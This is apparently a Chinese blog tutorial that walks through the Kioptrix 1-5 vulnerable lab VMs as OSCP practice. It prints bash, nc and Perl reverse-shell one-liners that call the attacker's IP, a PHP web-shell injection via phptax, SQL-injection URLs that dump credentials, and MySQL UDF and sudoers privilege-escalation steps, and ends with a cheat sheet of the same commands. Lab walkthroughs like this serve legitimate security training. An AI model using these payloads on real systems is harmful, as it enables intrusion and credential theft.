Kioptrix 提权靶机(1-5)全系列教程,Try Harder!

【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!

emmm 什么是OSCP?是由OffSec公司提供的一个专业级别的道德黑客认证。它是针对渗透测试的专业认证,旨在验证个人在实际环境中进行渗透测试的能力。与其他理论导向的认证不同,OSCP侧重于实践技能和真实世界情景的模拟。

它也叫做国际进攻性安全认证,如果有想要报考OSCP的师傅们欢迎咨询我们安全团队,我们给您打骨折。

本次教程靶机如下,都准备好了,直接下载就好,并且解决了官方靶机扫描不到的问题:

链接:https://pan.quark.cn/s/475209fc0c05

level 1

主机发现

image-20241204215740478

上一步没有加-sV参数,这里加上之后的信息

image-20241204221620046

看看80有什么

image-20241204220703197

随便点点

image-20241204221229988

啥也没有,有个METGT2.9.5不知道能不能用得上

image-20241204221223143

再点点

image-20241204222031413

有个php文件,啥用没有

image-20241204222129183

image-20241205004026308

不管啥服务都搜一搜

image-20241205004228446

利用这个poc,有版本区间了,用用第二个用户名枚举的poc

image-20241205004345255

发现是用得python2

image-20241205004742719

pip也不存在,看样子用不了了,我们换一个

image-20241205005501467

image-20241205005557313

mod_ssl 刚刚使用nmap -sV参数扫出来的版本信息,还有谷歌插件wapplayer信息收集插件,都能看到这个mod_ssl

image-20241205004127836

使用第一个exp,这里看到有提示信息

image-20241205010735587

image-20241205010946824

按照他的提示信息,我敲,这谁顶得住啊,这提示信息,看不懂,跳过,直接下载,艹

image-20241205012716766

复制下载链接,可以发现这个单词变成了download 下载的意思,直接下载刚刚searchsploit 的 exp文件

image-20241205012821464

换一个,卧槽这谁顶得住啊官方编译好的都执行不了,等我换个kali。。。。。24小时后。。。。。卧槽还是不行

image-20241205013025820

等我仔细看看exp报错信息,他说的是 } 附近语法错误,看不懂代码,用本地exp重新编译,报了这个错误,似乎是要加上这一个参数

image-20241205180759627

加上后还是报错,openssl版本问题,这是一个已经弃用的(deprecated)函数,百度了一下,需要使用-Wno-deprecated-declarations参数,就是前面的那个-Wdeprecated变成 -Wno-deprecated

image-20241205180926567

所以完整的参数是这样的,这样就能够成功编译了,命令如下

gcc -o exp 47080.c -lcrypto -lssl -Wno-deprecated-declarations

image-20241206155645157

执行exp,他会告诉你怎么使用,以及每个参数的用法,英文好一点的就可以直接看,不好也没关系,翻译软件2s钟的事儿

image-20241206160243968

wapplyer插件,看web服务器版本

image-20241206160433476

使用exp会告诉你怎么使用,看着后面的apache,这个时候进行筛选就行了

image-20241206160548099

遇到这种good bye的那么就是利用失败,一个一个尝试就好了

image-20241206161230900

直到参数如下,成功获取到了shell,并且有一串提示信息

image-20241206161708160

貌似是执行过这几条命令,做一次历史命令信息收集,history,但是发现切换到tmp目录下面的时候什么也没有,看样子是没有下载文件

image-20241206223929493

尝试下载,但是下载失败了

image-20241206224142743

既然不能下载,那么我们使用kali下载,然后再传到靶机上面去

image-20241206224355036

利用kali下载文件后,使用python开启http服务

image-20241206224605229

可以看到下载成功

image-20241206224719564

根据之前的命令提示,按着顺序输入命令,进行编译后,就会断开连接

image-20241206225124644

重新连接,他就会自动执行刚刚编译好的exp文件

image-20241206225251521

这个时候就提权成功了,

image-20241206225328947

为什么会自动执行那个exp?查看源码就可以发现了

image-20241206225538150

samba提权

这里是一种提权方法,还有另外一种smb提权,oscp考试是不允许使用msf的(只有一次机会),我找了很多kali自带的工具,都识别不到smb版本

image-20241206233223752

无奈,只能使用msf了,识别出来了版本为 2.2.1a

image-20241206233436833

这里找到一个版本,第二个,因为第一个是msf版本,我们需要手工利用exp

image-20241206234705023

编译,执行

image-20241206234900395

提权成功

image-20241206235219953

level 2

主机探测

image-20241207005237705

syn全端口扫描

nmap -sS -T5 192.168.111.184 -A

image-20241207005759501

使用curl访问80,可以看到是html信息

image-20241207010005890

弱口令,sql注入测试失败

image-20241207011218371

mysql远程连接,也失败了,提示了目标mysql服务器没有开启远程连接

image-20241207011852112

dirb目录扫描出来一个html页面,不知道是干什么的,不过看样子应该是和apache相关的信息文件

image-20241207010600222使用wappalyzer插件,查看一些中间件服务版本和nmap指纹探测一波

image-20241207010804451

image-20241207011541281

找找版本exp,目前收集到的信息,不能确认exp,唯一能能确定的就是那个拒绝服务攻击,但是对我们没什么用

image-20241207011306456

这里看到一个本地提权,待会应该能用上,先记着编号是 7550

image-20241207012648368

759端口信息不够,直接跳过,但是目前也没有什么可以利用的了,再返回登录框看看,再试试sql注入,注意这次的sql注入和我之前的sql注入是有区别的

# 之前的
admin' and 1=1 --+

# 现在的(+号前面多了个空格)
admin' and 1=1 -- + 

image-20241207013258046

万能密码成功

image-20241207013450046

其实也算不上是万能密码,我这样也能进去,只要打乱了sql语句就行了

image-20241207013548296

进去index.php后查看源码信息,哎呀卧槽,这里还有隐藏的代码,分析表单看样子是要执行一个ping命令,并且传参给pingit.php还是post请求

image-20241207013651363

那么就能得到这个接口请求的payload

image-20241207014137092

看样子是一个命令执行,但是尝试了如下反弹shell后,都没有反应

ip=127.0.0.1 && /bin/bash -i >& /dev/tcp/192.168.111.128/8888 0>&1
nc 192.168.111.128 8888 -e /bin/bash

试试whoami,我敲,看样子被耍了,这根本不是命令执行啊

image-20241207014840340

再看看源码有一个Administrator,可能也是一个有用的信息

image-20241207015505826

这里还有一种方法,就是新加一个页面在浏览器中以 html格式修改,把它原来的源码复制上去

image-20241207015935185

加上缺少的单引号

image-20241207020003836

回车,这样它的input框就出来了

image-20241207020132833

尝试127.0.0.1,这下有回显了,刚刚怎么没有?

image-20241207020359082

from.submit is not a fun,这个的大致意思呢就是,表单无效,hackbar模拟提交表单的时候,没有处罚javascript的表单提交的方法,那就是编码类型不对了

image-20241207020825250

因此切换表单提交的编码类型需要修改一下,这样就可以正常执行了

image-20241207060423615

这里执行命令的时候会发现,我使用一个 | 管道符,不管前面的命令是否执行成功,都只执行后面的那一条语句

image-20241207061516353

但是bash反弹shell的时候,是失败的,因为这个&和提交的表单数据冲突了

image-20241207061737196

需要修改为 %7C 为 | 的,但是这样很麻烦,换一种方法,直接在源页面写不更好嘛?

image-20241207063053613

在原来的页面写命令,这样会给我们的http post数据包自动编码

image-20241207063758185

反弹成功

image-20241207063806733

信息收集

image-20241207163315408

找到个这个

image-20241207163547151

根据提示加了-Wno-int-to-pointer-cast参数后,提示了很多的无效的指令(invalid instruction)

image-20241207163730640

切换思路,继续信息收集,使用lsb_release -a命令查看系统信息,可以看到是比较老的 centos 版本,存在很多漏洞

image-20241207064924225

漏洞检索,centos 4.5

image-20241207065402403

kali编译失败

image-20241207162910460

传到靶机试试(注意kali开启http服务)

image-20241207164442177

提权成功

image-20241207164357877

之前我们提到过一个服务的提权编号是7550,这里去尝试尝试

image-20241207165527521

查看源码,貌似却少一个文件,

image-20241207165628943

但是使用方法就是那样使用的,可以判断当前系统不存在此服务漏洞

image-20241207165901778

level 3

主机发现,80探测

image-20241207170243996

节省时间,nmap放在后台扫描

image-20241207170323848

新建终端,dirb也放在后台扫描

image-20241207170621230

我们访问80端口

image-20241207170405690

wapplalyzer

image-20241207172747571

随便点点,这个页面,感觉没发现什么

image-20241207170556141

盲测sql注入

image-20241207171227129

bolg界面的框框

image-20241207171403471

xss字典攻击,失败

image-20241207172115383

这个时候nmap和dirb都扫完了,回去看看

image-20241207172238652

有一个phpmyadmin,弱口令 root/root

image-20241207172835290

弱口令爆破,全都是302跳转

image-20241207173115577

简单sql万能密码测试

image-20241207172927735

这里把密码清空,万能密码

image-20241207173655554

直接进去了

image-20241207173737663

并且可以写文件,这个为空就代表可以写文件

show global variables like "secure%";

image-20241207175406568

网站根目录猜测为 /var/www/html

image-20241207175612431

写入文件测试,拒绝访问,没有使用密码

image-20241207180330653

切换方式,继续信息收集,刚刚目录扫描出来的一个登录框框

image-20241207200355137

检索漏洞,这里有一个命令执行漏洞,要用到msf,再想想其他办法,考试只有一次机会

image-20241207200437041

github查找

image-20241207210748896

image-20241207210826298

使用git clone 下来执行这个sh文件

image-20241207211118170

根据提示输入参数

image-20241207211059678

开启交互式终端

image-20241207213244232

信息收集

image-20241207213754248

/etc/passwd权限信息

image-20241207214103799

检索漏洞

image-20241207214643616

kali编译不了,我们传到靶机上试试

image-20241207215017396

提权失败

image-20241207215308718

又仔细看了看这个是小于号,不是小于等于

image-20241207215413235

用第一个试试,还是失败

image-20241207220106244

重新筛选一下,searchsploit 2.6.2 不使用2.6.24

image-20241208123556090

提权失败

image-20241208133859313

查找一下suid文件,看看能不能利用suid提权,好像并不行

image-20241207221452023

去home目录下面看看,loneferret用户文件夹下有一个 CompanyPolicy.README 文件,不知道是什么东西,打开看看,有个sudo -i

image-20241208014017878

Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.

DG
CEO

大致意思就是
您好新员工
这里的公司政策是使用我们新安装的软件来编辑、创建和查看文件。
请使用命令'sudo ht'。
不这样做将导致您立即终止。
DG
首席执行官

我们再回到那个图片加载不出来的页面,想到可能是因为host问题,随便点一个链接,会发现ip跳转到 kioptrix3.com 这个域名,大概率是域名的问题,需要去host添加域名解析的 ip

C:WindowsSystem32driversetchost

图片[117]-Kioptrix 提权靶机(1-5)全系列教程,Try Harder!-泷羽Sec

这个时候再访问这个域名,页面就正常了

image-20241208021524421

再来测一测sql注入

image-20241208021928068

点这个试试

image-20241208021947050

选择id

image-20241208022017668

又有注入点了

image-20241208022034719

sql注入测试,sql语法错误,存在sql注入

image-20241208022140518

判断列数

image-20241208022716225

6列正常回显

http://kioptrix3.com/gallery/gallery.php?id=1 order by 6-- +&sort=photoid#photos

image-20241208022745704

image-20241208023308874

暴表

http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--+&sort=photoid#photos

image-20241208023901938

暴列

http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='gallarific_users'--+&sort=photoid#photos

image-20241208030844018

暴数据,得到账号密码,admin::n0t7t1k4

http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(username,'::',password),3,4,5,6 from gallarific_users --+&sort=photoid#photos

image-20241208031525415

登录看看,密码错误

image-20241208031727497

切换这个用户试试,也不行

image-20241208031832668

同理,查,dev_accounts这张表

http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(username,'::',password),3,4,5,6 from dev_accounts --+&sort=photoid#photos

image-20241208033159905

这样我们就看到了账号密码了,识别hash

image-20241208033624851

hash碰撞失败换一换其他工具

image-20241208033703315

转在线工具

https://www.cmd5.com/default.aspx

image-20241208033801615

密码为starwars,登录成功

image-20241208033952434

sudo -l

image-20241208034104574

添加环境变量export TERM=xterm

image-20241208034705670

按 F3
或者
ALT+W 然后 方向键← ← ↓ 回车

框中 输入

/etc/sudoers

image-20241208034945081

image-20241208040030520

保存退出

image-20241208140752773

sudo /bin/sh
id

提权成功

image-20241208140819891

第二种方法,就是用4089.c进行提权,第一个40616行不通,测试40839.c可行

image-20241208142905729

image-20241208142719043

level 4

主机发现

image-20241208143507606

curl判断80

image-20241208143419261

开启nmap扫描后,立马开始目录扫描

image-20241208164224770

弱口令,sql注入,admin/admin,123′ and 1=1 –+

image-20241208151642799

image-20241208151701927

这里有一个铭感文件泄露

image-20241208151855185

密码爆破

image-20241208152405191

image-20241208151813730

myusername

mypassword

image-20241208152605172

cookie伪造,也不行

image-20241208152712527

用nmap的 –script=vuln 参数试试,找找漏洞信息

image-20241208162202772

CVE-2007-6750拒绝服务攻击

image-20241208162813615

再回去看看目录,有一个database.sql文件,看样子是信息泄露了,看到了一条数据,但是还是登录失败

image-20241208164147044

没有思路了,再重头来一遍,在登录的地方密码处,存在一个sql注入漏洞,123′ and 1=1 –+

image-20241208165152928

没有回显啊,不可能手工盲注啊,无奈了只能用sqlmap

sqlmap -r post.txt --dump --batch --level 3

image-20241208181244261

image-20241208181357778

登录进去后没有任何东西,就一个退出登录

image-20241208181606571

image-20241208181741262

试试ssh登录

# 注意这里要加一个参数,不然会登录失败,应该是目标靶机ssh版本低所导致的
ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.111.186

image-20241208182057871

两个账号都登录成功了

image-20241208182355790

一开始就有一个提示了,让我们使用help命令,似乎是只能使用这些命令来进行接下来的操作

image-20241208182651383

image-20241208182707899

shell逃逸

image-20241208191648500

可以看到root用户启动了一个mysql进程

image-20241208193750569

suid文件查看,貌似没有可以利用的提权命令,sudo这些用户都不能用

image-20241208193906348

已知站点是php站点,查找一下php的文件,看看有没有可以利用的地方,比如mysql配置文件

image-20241208194358047

查找登录界面的信息,看到了mysql的账号密码(没有密码)

image-20241208194507124

登录

image-20241208194620626

mysql的提权方式有一个叫做udf提权,我们去看看udf表

image-20241208194726801

利用 sys_exec()函数将john用户添加到管理员组。

image-20241208194907500

sudo su (用于切换到超级用户"root"的shell)输入账号密码,提权成功

image-20241208195110872

level 5 Kioptrix2014

同时进行,nmap主机探测立马nmap指纹识别,后curl 80探测,第三个终端目录扫描

image-20241208200110846

首页

image-20241208200124278

查看响应的源码

image-20241208200449046

访问,不知道是什么东西,应该是目录枚举了,和我们获取权限没有什么关系

image-20241208200429882

直接搜,刚好版本是一模一样的

image-20241208201104610

image-20241208201040194

这里有漏洞的利用方式

image-20241208201212241

访问到文件信息了,任意文件查看

image-20241208201352206

看看其他信息,操作系统为FreeBSD

image-20241208201719409

编译后的exp提示,是没有apache 2.2.x版本的,所以第一关里面的方法利用不了了

image-20241208204649375

看其他信息,有一个8080端口

image-20241208210100106

403拒绝访问

image-20241208210100106

去看看apache配置文件(一般都在/usr/local/etc/apache2x/httpd.conf),利用刚刚的文件枚举漏洞,查看

image-20241208210726131

正常访问了,有一个phptax页面

image-20241208211004450

又是一个新页面

image-20241208211317460

随便点一点试试

image-20241208211752676

关键检索,有一个代码执行漏洞

image-20241208211710588

查看24665.txt

image-20241208213332088

访问后,应该是没有nc,执行不了命令

/bin/bash -i >& /dev/tcp/192.168.111.128/8888 0>&1
nc 192.168.111.128 8888 -e /bin/bash

image-20241208213837779

写入一句话马试试

http://192.168.111.149:8080/phptax/drawimage.php?pfilez=1040pg1.pdf;echo "<?php system($_GET['cmd']); ?>" > shell1.php;&pdf=make

image-20241208214201808

# 反弹不了命令,就多试几个,总有一个能用
perl -e 'use Socket;$i="192.168.111.128";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.111.128:8888");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

这里使用的是 perl sh反弹成功了

image-20241208215804093

目标靶机上没有python,创建不了交互式终端,但是并不影响我们提权

image-20241208215833110

查内核信息

image-20241208220329545

查SUID文件,基本的sudo都没有,去检索内核

image-20241208220605749

根据内核信息有俩个权限提升漏洞

image-20241208220739427

这里看靶机是没有wgetcurl的,但是有nc

image-20241208223248782

小知识,nc也是可以传文件的(测试过很多遍,没传成功),还有个技巧就是利用ftp

# 攻击机开启ftp
python3 -m pyftpdlib

# 靶机连接
ftp ftp://192.168.111.128:2121/file

搞了半天,kali新版的python的开不了,人麻了,传到本机来开

image-20241209000927590

成功传上去了

image-20241209001232238

exp传上去后

gcc -o exp exploit.c
./exp

即可提权成功,我这里环境出问题了,显示不了了怎么创建交互式终端都不行,害

image-20241209003234308

命令小姐

# 创建交互式终端的几种方式
echo os.system("/bin/bash")
python -c "import pty; pty.spawn('/bin/bash')"
/bin/sh -i

gcc -o exp xxx.c # c文件编译,-o表示的是输出的文件名称

python -m http.server # 开启小型的http服务
python3 -m ptyftpdlib # 开启小型的ftp服务器
ftp ftp://ip:port/file #使用ftp接收文件

# 常用的反弹shell
/bin/bash -i >& /dev/tcp/192.168.111.128/8888 0>&1
nc 192.168.111.128 8888 -e /bin/bash

# 注意这里要加一个参数,不然会登录失败,应该是目标靶机ssh版本低所导致的
ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.111.186

usermod -a -G admin john # 将john用户添加到admin组

# mysql提权(udf提权)用到的表(查)
select * from mysql.func;
select sys_exec('commend');

uname -a # 查看系统的全部信息

哪些好的资料可以分享?

我在学习和备考的时候参考的一些不错的资源,汇总如下:

注册指南:

《OSCP认证教程第一集:注册教程》https://www.freebuf.com/column/194605.html

Linux提权指南:

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Windows提权辅助脚本:

https://github.com/pentestmonkey/windows-privesc-check

模拟练习平台(跟Lab环境类似):

vulnhub https://www.vulnhub.com/
hackthebox https://www.hackthebox.eu/

badchars工具:

https://github.com/mgeeky/expdevBadChars

往期推荐

不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学

防溯源小技巧

ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略

【oscp】vulnerable_docker,三种代理方法打入内网

【内网渗透】CobaltStrike与MSF联动互相上线的方式

【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS

【渗透测试】linux隐身登录

本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!
THE END
喜欢就支持一下吧
点赞16 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容